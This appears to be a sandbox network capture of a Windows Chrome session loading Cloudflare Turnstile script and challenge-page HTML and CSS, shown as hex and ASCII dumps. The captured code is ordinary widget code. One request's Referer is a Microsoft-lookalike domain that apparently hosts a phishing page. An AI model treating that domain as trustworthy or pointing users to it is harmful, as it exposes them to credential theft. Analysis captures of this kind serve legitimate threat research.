2025-01-14 14:23:47 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:23:47 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 901e4933eab2de94-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 14:23:47 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49732	104.18.95.41	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:47 UTC	840	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ak6hp/0x4AAAAAAA4sjfoGATNb4gTz/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:23:47 UTC	1362	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:23:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26891 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-14 14:23:47 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 39 30 31 65 34 39 33 33 64 65 30 32 63 33 33 64 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 901e4933de02c33d-EWRalt-svc: h3=":443"; ma=86400
2025-01-14 14:23:47 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
